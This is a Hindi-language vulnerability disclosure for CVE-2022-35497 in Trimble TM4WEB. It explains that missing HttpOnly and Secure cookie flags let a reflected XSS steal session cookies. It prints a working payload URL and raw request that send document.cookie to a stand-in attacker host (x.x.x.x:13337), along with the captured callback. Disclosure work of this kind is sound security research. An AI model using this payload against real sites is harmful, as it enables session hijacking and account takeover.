
# TM4WEB भेद्यता - CVE-2022-35497
Trimble के TM4WEB <=22.2.0 में सत्र पहचानकर्ताओं के साथ सुरक्षा गलत कॉन्फ़िगरेशन के कारण, बाहरी दस्तावेज़ व्यूअर एंडपॉइंट को प्रभावित करने वाले परावर्तित क्रॉस-साइट स्क्रिप्टिंग के माध्यम से मान्य सत्र कुकीज़ को पुनर्प्राप्त करना संभव है।
विशेष रूप से, सत्र बनाए रखने के लिए उपयोग की जाने वाली तीन कुकीज़ UID, rstring और PHPSESSIONID हैं, जिनमें से किसी में भी JavaScript निष्पादन वैक्टर से पुनर्प्राप्ति को रोकने के लिए उपयुक्त HttpOnly फ़्लैग नहीं है।
चरण 1 :
हमलावर प्रमाणित पीड़ित के सत्र कुकीज़ प्राप्त करने के लिए परावर्तित क्रॉस-साइट स्क्रिप्टिंग भेद्यता CVE-2022-35499 का लाभ उठाता है।
हमलावर इंटरनेट-फेसिंग सर्वर के एक मनमाने पोर्ट पर एक लिसनर शुरू करता है जो HTTP अनुरोध प्राप्त कर सकता है। यह requestbin जैसी सेवा के साथ, या केवल एक मनमाने पोर्ट पर netcat लिसनर शुरू करके पूरा किया जा सकता है।
उदाहरण URL संदर्भित XSS CVE-2022-35499 का लाभ उठाकर प्रमाणित उपयोगकर्ता पर सत्र हाइजैकिंग हमला करता है और पीड़ित के सत्र कुकीज़ हमलावर-नियंत्रित सर्वर को भेजता है
(उदाहरण में हमारे IP पते के बजाय x.x.x.x द्वारा दर्शाया गया है) पोर्ट 13337 पर
दुर्भावनापूर्ण URL का उदाहरण (अस्तित्वहीन साइट का उपयोग करते हुए):
https://example.tm4web.com/trace/external_bill_viewer.msw?foo=bar%22}%27);document.location=%27http://x.x.x.x:13337/foo.txt?c=%27%2bdocument.cookie;%3C!--
यह भेद्यता केवल इसलिए संभव है क्योंकि सत्र पहचानकर्ता इस प्रकार के हमले से पर्याप्त रूप से सुरक्षित नहीं हैं।
सत्र बनाए रखने के लिए उपयोग में आने वाली तीन कुकीज़ हैं:
UID
rstring
PHPSESSIONID
इनमें से किसी भी कुकी को HttpOnly फ़्लैग के साथ कॉन्फ़िगर नहीं किया गया है। यह कॉन्फ़िगरेशन विकल्प कुकी मानों को JavaScript संदर्भ से सुलभ होने से रोकेगा।
इसी तरह, इन कुकीज़ में SECURE फ़्लैग भी सक्षम होना चाहिए, जो उन्हें एन्क्रिप्टेड चैनल पर प्रेषित होने से रोकता है।
हमले को अंजाम देने के लिए उपयोग किया गया दुर्भावनापूर्ण GET अनुरोध नीचे दिखाया गया है, जिसमें हमलावर सर्वर IP को हटा दिया गया है और x.x.x.x से बदल दिया गया है
GET /trace/external_bill_viewer.msw?foo=bar%22}%27);document.location=%27http://x.x.x.x:13337/foo.txt?c=%27%2bdocument.cookie;%3C!-- HTTP/1.1
Host: example-tm4web.com
Cookie: uid=BELLTESTUSER; rstring=Ppck2FYLdP1sW894abFJQPS8x7tcLDt1C1652z8fgUNKr8zjVQ; PHPSESSID=adf244d8bb219c9c11b6750d6a5a7cbc
परिणामी कॉलबैक अनुरोध जो हमलावर को अपने सर्वर पर प्राप्त होता है, नीचे दिखाया गया है, जो पीड़ित के सत्र कुकीज़ को ?c पैरामीटर में जोड़े जाने का खुलासा करता है।
GET /foo.txt?c=uid=BELLTESTUSER;%20rstring=Ppck2FYLdP1sW894abFJQPS8x7tcLDt1C1652z8fgUNKr8zjVQ;%20PHPSESSID=adf244d8bb219c9c11b6750d6a5a7cbc HTTP/1.1
Host: x.x.x.x:13337
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-CA,en;q=0.9,fr-CA;q=0.8,fr;q=0.7,en-GB;q=0.6,en-US;q=0.5
Connection: close
प्रभाव : प्रमाणित उपयोगकर्ताओं के सत्र और उपयोगकर्ता खातों को गैर-प्रमाणित हमले की स्थिति से परावर्तित XSS भेद्यता का लाभ उठाकर हमलावरों द्वारा हाइजैक किया जा सकता है।